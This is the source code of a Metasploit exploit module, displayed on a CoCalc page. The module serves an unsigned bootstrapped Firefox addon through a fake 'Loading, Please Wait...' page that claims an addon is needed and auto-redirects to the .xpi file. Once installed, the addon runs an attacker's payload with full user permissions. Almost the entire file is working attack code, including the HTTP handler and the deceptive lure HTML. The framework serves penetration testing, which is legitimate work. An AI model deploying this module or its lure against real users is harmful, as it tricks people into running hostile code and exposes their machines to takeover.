CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb
Views: 11784
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
require 'rex/zip'

7


8
class MetasploitModule < Msf::Exploit::Remote

9
  Rank = ExcellentRanking

10


11
  include Msf::Exploit::Remote::HttpServer::HTML

12
  include Msf::Exploit::Remote::FirefoxAddonGenerator

13


14
  def initialize( info = {} )

15
    super( update_info( info,

16
      'Name'          => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution',

17
      'Description'   => %q{

18
        Mozilla Firefox before version 41 allowed users to install

19
        unsigned browser extensions from arbitrary web servers.

20


21
        This module dynamically creates an unsigned .xpi addon file.

22
        The resulting bootstrapped Firefox addon is presented to

23
        the victim via a web page. The victim's Firefox browser

24
        will pop a dialog asking if they trust the addon.

25


26
        Once the user clicks "install", the addon is installed and

27
        executes the payload with full user permissions. As of Firefox

28
        4, this will work without a restart as the addon is marked to

29
        be "bootstrapped". As the addon will execute the payload after

30
        each Firefox restart, an option can be given to automatically

31
        uninstall the addon once the payload has been executed.

32


33
        As of Firefox 41, unsigned extensions can still be installed

34
        on Firefox Nightly, Unbranded and Development builds when

35
        configured with `xpinstall.signatures.required` set to `false`.

36


37
        Note: this module generates legacy extensions which are

38
        supported only in Firefox before version 57.

39
      },

40
      'License'       => MSF_LICENSE,

41
      'Author'        => [ 'mihi', 'joev' ],

42
      'DisclosureDate' => '2007-06-27',

43
      'References'    => [

44
        [ 'URL', 'https://blog.mozilla.org/addons/2015/02/10/extension-signing-safer-experience/' ],

45
        [ 'URL', 'https://blog.mozilla.org/addons/2015/04/15/the-case-for-extension-signing/' ],

46
        [ 'URL', 'https://support.mozilla.org/en-US/kb/frequently-asked-questions-firefox-addon' ],

47
        [ 'URL', 'https://web.archive.org/web/20170727035940/https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions' ],

48
        [ 'URL', 'https://web.archive.org/web/20160322014439/https://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]

49
      ],

50
      'Notes' => {

51
        'Reliability' => [REPEATABLE_SESSION],

52
        'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, SCREEN_EFFECTS],

53
        'Stability' => [CRASH_SAFE]

54
      }

55
    ))

56
  end

57


58
  def on_request_uri(cli, request)

59
    if request.uri.match(/\.xpi$/i)

60
      # browser has navigated to the .xpi file

61
      print_status("Sending xpi and waiting for user to click 'accept'...")

62
      if not xpi = generate_addon_xpi(cli)

63
        print_error("Failed to generate the payload.")

64
        send_not_found(cli)

65
      else

66
        send_response(cli, xpi.pack, { 'Content-Type' => 'application/x-xpinstall' })

67
      end

68
    else

69
      # initial browser request

70
      # force the user to access a directory-like URL

71
      if not request.uri.match(/\/$/)

72
        print_status("Redirecting request." )

73
        send_redirect(cli, "#{get_resource}/")

74
      else

75
        # user has navigated

76
        print_status("Sending HTML response." )

77
        send_response_html(cli, generate_html)

78
      end

79
    end

80


81
    handler(cli)

82
  end

83


84
  def generate_html

85
    html  = %Q|<html><head><title>Loading, Please Wait...</title>\n|

86
    html << %Q|<meta http-equiv="refresh" content="0; url=addon.xpi"></head>\n|

87
    html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|

88
    html << %Q|</body></html>|

89
    return html

90
  end

91
end

92


93